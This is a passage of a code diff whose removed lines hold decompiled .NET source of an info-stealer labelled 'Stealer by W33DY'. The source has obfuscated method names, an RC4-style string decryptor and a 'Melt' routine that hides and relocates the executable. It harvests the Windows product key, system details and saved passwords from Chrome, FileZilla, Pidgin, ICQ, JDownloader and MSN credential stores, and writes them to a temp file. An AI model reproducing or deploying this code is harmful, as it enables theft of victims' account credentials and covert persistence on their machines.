- int num4 = num2 + 1;
- num2 = 0;
- switch (num4)
- {
- case 1:
- goto label_0;
- case 2:
- goto label_1;
- case 3:
- goto label_2;
- case 4:
- goto label_3;
- case 5:
- goto label_4;
- case 6:
- goto label_5;
- case 7:
- goto label_6;
- case 8:
- case 11:
- case 12:
- goto label_15;
- case 9:
- goto label_7;
- case 10:
- goto label_8;
- }
- break;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_10;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_15:
- object steamUsername = obj;
- if (num2 == 0)
- return steamUsername;
- ProjectData.ClearProjectError();
- return steamUsername;
- }
-
- public static void MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD()
- {
-label_0:
- int num1;
- int num2;
- try
- {
- int num3 = 1;
- DateTime now = DateTime.Now;
-label_1:
- num3 = 2;
- object Instance = (object) new StreamWriter(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString());
-label_2:
- ProjectData.ClearProjectError();
- num1 = 1;
-label_3:
- num3 = 4;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) "Stealer by W33DY"
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_4:
- num3 = 5;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Date/Time: " + now.ToString())
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_5:
- num3 = 6;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("PC Name: " + MyProject.Computer.Name)
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_6:
- num3 = 7;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("IP: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse)
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_7:
- num3 = 8;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Windows Version: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOSVersion())
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_8:
- num3 = 9;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Windows Key: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OSProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion", "DigitalProductId"))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_9:
- num3 = 10;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_10:
- num3 = 11;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_11:
- num3 = 12;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_12:
- num3 = 13;
- int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Count - 1);
- int index = 0;
- goto label_16;
-label_13:
- num3 = 14;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items[index], (object) "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_14:
- num3 = 15;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_15:
- num3 = 16;
- checked { ++index; }
-label_16:
- if (index <= num4)
- goto label_13;
-label_17:
- num3 = 17;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa()
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_18:
- num3 = 18;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS()
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_19:
- num3 = 19;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_20:
- num3 = 20;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_21:
- num3 = 21;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_22:
- num3 = 22;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_23:
- num3 = 23;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_24:
- num3 = 24;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) "Application: Steam\r\nUsername: ", LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN()), (object) "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_25:
- num3 = 25;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_26:
- num3 = 26;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_27:
- num3 = 27;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_28:
- num3 = 28;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_29:
- num3 = 29;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_30:
- num3 = 30;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_31:
- num3 = 31;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
- goto label_38;
-label_33:
- num2 = num3;
- switch (num1)
- {
- case 1:
- int num5 = num2 + 1;
- num2 = 0;
- switch (num5)
- {
- case 1:
- goto label_0;
- case 2:
- goto label_1;
- case 3:
- goto label_2;
- case 4:
- goto label_3;
- case 5:
- goto label_4;
- case 6:
- goto label_5;
- case 7:
- goto label_6;
- case 8:
- goto label_7;
- case 9:
- goto label_8;
- case 10:
- goto label_9;
- case 11:
- goto label_10;
- case 12:
- goto label_11;
- case 13:
- goto label_12;
- case 14:
- goto label_13;
- case 15:
- goto label_14;
- case 16:
- goto label_15;
- case 17:
- goto label_17;
- case 18:
- goto label_18;
- case 19:
- goto label_19;
- case 20:
- goto label_20;
- case 21:
- goto label_21;
- case 22:
- goto label_22;
- case 23:
- goto label_23;
- case 24:
- goto label_24;
- case 25:
- goto label_25;
- case 26:
- goto label_26;
- case 27:
- goto label_27;
- case 28:
- goto label_28;
- case 29:
- goto label_29;
- case 30:
- goto label_30;
- case 31:
- goto label_31;
- case 32:
- goto label_38;
- }
- break;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_33;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_38:
- if (num2 == 0)
- return;
- ProjectData.ClearProjectError();
- }
-
- public static void Melt(string NewName)
- {
- try
- {
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Application.StartupPath, folderPath, false) != 0)
- {
- FileSystem.FileCopy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, folderPath + "\\" + NewName);
- Interaction.Shell(folderPath + "\\" + NewName + " " + Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName);
- FileAttributes fileAttributes = FileAttributes.Hidden;
- System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes);
- ProjectData.EndApp();
- }
- else
- FileSystem.Kill(Interaction.Command());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string gwcqPBHXULYDADOrwheWpKJ(string ZDehjJRDjdkZgavKV)
- {
- string str1 = nameof (gwcqPBHXULYDADOrwheWpKJ);
- int index1 = 0;
- int index2 = 0;
- StringBuilder stringBuilder = new StringBuilder();
- string empty = string.Empty;
- int[] numArray1 = new int[257];
- int[] numArray2 = new int[257];
- int length = str1.Length;
- int location1 = 0;
- while (location1 <= (int) byte.MaxValue)
- {
- char String = str1.Substring(location1 % length, 1).ToCharArray()[0];
- numArray2[location1] = Strings.Asc(String);
- numArray1[location1] = location1;
- Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
- }
- int index3 = 0;
- int location2 = 0;
- while (location2 <= (int) byte.MaxValue)
- {
- index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
- int num = numArray1[location2];
- numArray1[location2] = numArray1[index3];
- numArray1[index3] = num;
- Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
- }
- int location3 = 1;
- while (location3 <= ZDehjJRDjdkZgavKV.Length)
- {
- index1 = checked (index1 + 1) % 256;
- index2 = checked (index2 + numArray1[index1]) % 256;
- int num1 = numArray1[index1];
- numArray1[index1] = numArray1[index2];
- numArray1[index2] = num1;
- int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
- int CharCode = Strings.Asc(ZDehjJRDjdkZgavKV.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2;
- stringBuilder.Append(Strings.Chr(CharCode));
- Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1));
- }
- string str2 = stringBuilder.ToString();
- stringBuilder.Length = 0;
- return str2;
- }
-
- public static string GetOSVersion()
- {
- switch (Environment.OSVersion.Platform)
- {
- case PlatformID.Win32S:
- return "Win 3.1";
- case PlatformID.Win32Windows:
- switch (Environment.OSVersion.Version.Minor)
- {
- case 0:
- return "Windows 95";
- case 10:
- return "Windows 98";
- case 90:
- return "Windows ME";
- default:
- return "Unknown";
- }
- case PlatformID.Win32NT:
- switch (Environment.OSVersion.Version.Major)
- {
- case 3:
- return "Windows NT 3.51";
- case 4:
- return "Windows NT 4.0";
- case 5:
- switch (Environment.OSVersion.Version.Minor)
- {
- case 0:
- return "Windows 2000";
- case 1:
- return "Windows XP";
- case 2:
- return "Windows 2003";
- }
- break;
- case 6:
- return "Windows 7 / Vista";
- default:
- return "Unknown";
- }
- case PlatformID.WinCE:
- return "Windows CE";
- }
- string osVersion;
- return osVersion;
- }
-
- public static string OSProductKey(string KeyPath, string ValueName)
- {
- string Expression = "";
- try
- {
- object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0));
- if (objectValue == null)
- return "N/A";
- string str1 = "";
- int num1 = Information.LBound((Array) objectValue);
- int num2 = Information.UBound((Array) objectValue);
- int num3 = num1;
- while (num3 <= num2)
- {
- str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1]
- {
- (object) num3
- }, (string[]) null)));
- checked { ++num3; }
- }
- int num4 = 52;
- int num5 = 67;
- string[] strArray1 = new string[25]
- {
- "B",
- "C",
- "D",
- "F",
- "G",
- "H",
- "J",
- "K",
- "M",
- "P",
- "Q",
- "R",
- "T",
- "V",
- "W",
- "X",
- "Y",
- "2",
- "3",
- "4",
- "6",
- "7",
- "8",
- "9",
- null
- };
- int num6 = 29;
- int num7 = 15;
- string[] strArray2 = new string[16];
- string[] strArray3 = new string[31];
- string str2 = "";
- int num8 = num4;
- int num9 = num5;
- int num10 = num8;
- while (num10 <= num9)
- {
- strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1]
- {
- (object) num10
- }, (string[]) null));
- str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]);
- checked { ++num10; }
- }
- int index1 = checked (num6 - 1);
- while (index1 >= 0)
- {
- if (checked (index1 + 1) % 6 == 0)
- {
- strArray3[index1] = "-";
- Expression += "-";
- }
- else
- {
- int index2 = 0;
- int index3 = checked (num7 - 1);
- while (index3 >= 0)
- {
- int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3])));
- strArray2[index3] = Conversions.ToString(num11 / 24);
- index2 = num11 % 24;
- checked { index3 += -1; }
- }
- strArray3[index1] = strArray1[index2];
- Expression += strArray1[index2];
- }
- checked { index1 += -1; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return Strings.StrReverse(Expression);
- }
-
- internal static string FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS()
- {
- StringBuilder stringBuilder = new StringBuilder();
- string[] directories = Directory.GetDirectories(Interaction.Environ("APPDATA") + "\\ICQ", "*", SearchOption.TopDirectoryOnly);
- int num = checked (directories.Length - 1);
- int index1 = 0;
- while (index1 <= num)
- {
- if (Versioned.IsNumeric((object) directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)]))
- {
- string str = Encoding.Unicode.GetString(System.IO.File.ReadAllBytes(!System.IO.File.Exists(directories[index1] + "\\Owner.mdb") ? directories[index1] + "\\Owner.qdb" : directories[index1] + "\\Owner.mdb")).Replace("\0", "");
- long startIndex = (long) str.IndexOf("StoredPassword");
- string Left = "";
- if (startIndex > 0L)
- {
- byte[] numArray = Convert.FromBase64String(Strings.Mid(str.Substring(checked ((int) startIndex)).Replace(Conversions.ToString(Strings.Chr(132)), ""), 17, 44));
- int index2 = 0;
- do
- {
- Left = Conversion.Hex(numArray[index2]).Length >= 2 ? Left + Conversion.Hex(numArray[index2]) : Left + "0" + Conversion.Hex(numArray[index2]);
- checked { ++index2; }
- }
- while (index2 <= 15);
- }
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
- stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword: " + Left + "\r\n\r\n");
- else
- stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword : - \r\n\r\n");
- }
- checked { ++index1; }
- }
- return stringBuilder.ToString();
- }
-
- internal static string ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh()
- {
- string str1 = "";
- StringBuilder stringBuilder = new StringBuilder();
- string str2 = "";
- string path = Interaction.Environ("Programfiles(x86)") != null ? Interaction.Environ("programfiles(x86)") + "\\jDownloader\\config\\database.script" : Interaction.Environ("programfiles") + "\\jDownloader\\config\\database.script";
- if (!System.IO.File.Exists(path))
- return "";
- string str3 = "INSERT INTO CONFIG VALUES('AccountController','";
- string[] strArray1 = System.IO.File.ReadAllLines(path);
- int num1 = checked (strArray1.Length - 1);
- int index1 = 0;
- while (index1 <= num1)
- {
- if (strArray1[index1].Contains(str3))
- {
- string str4 = strArray1[index1].Substring(checked (str3.Length - 1)).Substring(1, checked (strArray1[index1].Length - str3.Length + 1 + 3));
- int num2 = checked (str4.Length - 1);
- int startIndex = 0;
- while (startIndex <= num2)
- {
- str1 += Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + str4.Substring(startIndex, 2))));
- checked { startIndex += 2; }
- }
- string str5 = "";
- string[] strArray2 = str1.Split(char.MinValue);
- int num3 = checked (strArray2.Length - 1);
- int index2 = 0;
- while (index2 <= num3)
- {
- int CharCode = 1;
- do
- {
- strArray2[index2] = strArray2[index2].Replace(Conversions.ToString(Strings.Chr(CharCode)), "");
- checked { ++CharCode; }
- }
- while (CharCode <= 31);
- strArray2[index2] = strArray2[index2].Replace("ÿ", "");
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray2[index2], "", false) != 0)
- str5 = str5 + "\r\n" + strArray2[index2];
- checked { ++index2; }
- }
- string[] strArray3 = str5.ToString().Split('\r');
- int num4 = checked (strArray3.Length - 2);
- int index3 = 0;
- while (index3 <= num4)
- {
- if (strArray3[index3].EndsWith("sq") & strArray3[index3].IndexOf(".") > 0)
- str2 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 2));
- if (strArray3[index3].EndsWith("t") & strArray3[checked (index3 + 1)].EndsWith("xt"))
- {
- string str6 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 1));
- string str7 = strArray3[checked (index3 + 1)].Substring(0, checked (strArray3[index3 + 1].Length - 2));
- if (str6.Length > 4)
- stringBuilder.Append("Application: JDownloader\r\nHost: " + str2 + "\r\nUser: " + str7 + "\r\nPass: " + str6 + "\r\n\r\n");
- }
- checked { ++index3; }
- }
- }
- checked { ++index1; }
- }
- return stringBuilder.ToString();
- }
-
- public static string kLblosnDhhhJ()
- {
- XmlDocument xmlDocument = new XmlDocument();
- object Left = (object) null;
- string str1 = "";
- string str2 = Interaction.Environ("appdata") + "\\FileZilla\\recentservers.xml";
- if (System.IO.File.Exists(str2))
- {
- try
- {
- xmlDocument.Load(str2);
- XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("Host");
- XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("Port");
- XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("User");
- XmlNodeList elementsByTagName4 = xmlDocument.GetElementsByTagName("Pass");
- int num = checked (elementsByTagName1.Count - 1);
- int i = 0;
- while (i <= num)
- {
- Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: FileZilla"), (object) "\r\n"), (object) "Host: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Port: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName4[i].InnerText), (object) "\r\n"), (object) "\r\n");
- checked { ++i; }
- }
- str1 = Conversions.ToString(Left);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- return str1;
- }
-
- internal static string dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi()
- {
- XmlDocument xmlDocument = new XmlDocument();
- object Left = (object) null;
- string str1 = "";
- string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml";
- if (System.IO.File.Exists(str2))
- {
- try
- {
- xmlDocument.Load(str2);
- XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol");
- XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name");
- XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password");
- int num = checked (elementsByTagName1.Count - 1);
- int i = 0;
- while (i <= num)
- {
- Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: Pidgin"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "\r\n");
- str1 = Conversions.ToString(Left);
- checked { ++i; }
- }
- str1 = str1;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- return str1;
- }
-
- [DllImport("crypt32", CharSet = CharSet.Auto, SetLastError = true)]
- internal static extern bool CryptUnprotectData(
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn,
- int ppszDataDescr,
- int optionalEntropy,
- int pvReserved,
- int pPromptStruct,
- int dwFlags,
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut);
-
- [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)]
- private static extern bool CredEnumerate(
- string filter,
- int flag,
- ref int oMhrmhotLlExlwDkbjCerlkhqoalxa,
- ref IntPtr puweopTywlscmvSnEiihkDydryxgIJ);
-
- public static string PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF()
- {
- string str = "";
- try
- {
- int oMhrmhotLlExlwDkbjCerlkhqoalxa = 0;
- IntPtr zero = IntPtr.Zero;
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CredEnumerate("WindowsLive:name=*", 0, ref oMhrmhotLlExlwDkbjCerlkhqoalxa, ref zero))
- {
- IntPtr[] numArray = new IntPtr[checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1 + 1)];
- IntPtr num1 = zero;
- int num2 = checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1);
- int index = 0;
- while (index <= num2)
- {
- numArray[index] = Marshal.ReadIntPtr((IntPtr) checked (num1.ToInt32() + IntPtr.Size * index));
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL structure = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL) Marshal.PtrToStructure(numArray[index], typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL));
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
- dataIn.pbData = structure.lpbCredentialBlob;
- dataIn.cbData = (int) structure.dwCredentialBlobSize;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 1, ref pDataOut);
- str = str + "Application: MSN\r\nUsername: " + Marshal.PtrToStringAuto(structure.lpUserName) + "\r\nPassword: " + Marshal.PtrToStringAuto(dataIn.pbData) + "\r\n";
- checked { ++index; }
- }
- str = str;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return str;
- }
-
- public static object lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL()
- {
- string str1 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
- try
- {
- object Instance1 = (object) new SQLiteHandler(str1);
- NewLateBinding.LateCall(Instance1, (System.Type) null, "ReadTable", new object[1]
- {
- (object) "logins"
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- if (System.IO.File.Exists(str1))
- {
- int integer = Conversions.ToInteger(Microsoft.VisualBasic.CompilerServices.Operators.SubtractObject(NewLateBinding.LateGet(Instance1, (System.Type) null, "GetRowCount", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) 1));
- int num = 0;
- while (num <= integer)
- {
- object Instance2 = Instance1;
- object[] objArray1 = new object[2]
- {
- (object) num,
- (object) "origin_url"
- };
- object[] Arguments1 = objArray1;
- bool[] flagArray1 = new bool[2]{ true, false };
- bool[] CopyBack1 = flagArray1;
- object obj1 = NewLateBinding.LateGet(Instance2, (System.Type) null, "GetValue", Arguments1, (string[]) null, (System.Type[]) null, CopyBack1);
- if (flagArray1[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int));
- string str2 = Conversions.ToString(obj1);
- object Instance3 = Instance1;
- object[] objArray2 = new object[2]
- {
- (object) num,
- (object) "username_value"
- };
- object[] Arguments2 = objArray2;
- bool[] flagArray2 = new bool[2]{ true, false };
- bool[] CopyBack2 = flagArray2;
- object obj2 = NewLateBinding.LateGet(Instance3, (System.Type) null, "GetValue", Arguments2, (string[]) null, (System.Type[]) null, CopyBack2);
- if (flagArray2[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int));
- string Left1 = Conversions.ToString(obj2);
- Encoding Instance4 = Encoding.Default;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- object Instance5 = Instance1;
- object Instance6 = Instance5;
- object[] objArray5 = new object[2]
- {
- (object) num,
- null
- };
- object[] objArray6 = objArray5;
- string str3 = "password_value";
- string str4 = str3;
- objArray6[1] = (object) str4;
- object[] objArray7 = objArray5;
- object[] Arguments3 = objArray7;
- bool[] flagArray3 = new bool[2]{ true, false };
- bool[] CopyBack3 = flagArray3;
- object obj3 = NewLateBinding.LateGet(Instance6, (System.Type) null, "GetValue", Arguments3, (string[]) null, (System.Type[]) null, CopyBack3);
- if (flagArray3[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[0]), typeof (int));
- object objectValue = RuntimeHelpers.GetObjectValue(obj3);
- objArray4[0] = objectValue;
- object[] objArray8 = objArray3;
- object[] Arguments4 = objArray8;
- bool[] flagArray4 = new bool[1]{ true };
- bool[] CopyBack4 = flagArray4;
- object Datas = NewLateBinding.LateGet((object) Instance4, (System.Type) null, "GetBytes", Arguments4, (string[]) null, (System.Type[]) null, CopyBack4);
- if (flagArray4[0])
- NewLateBinding.LateSetComplex(Instance5, (System.Type) null, "GetValue", new object[3]
- {
- (object) num,
- (object) str3,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, (System.Type[]) null, true, false);
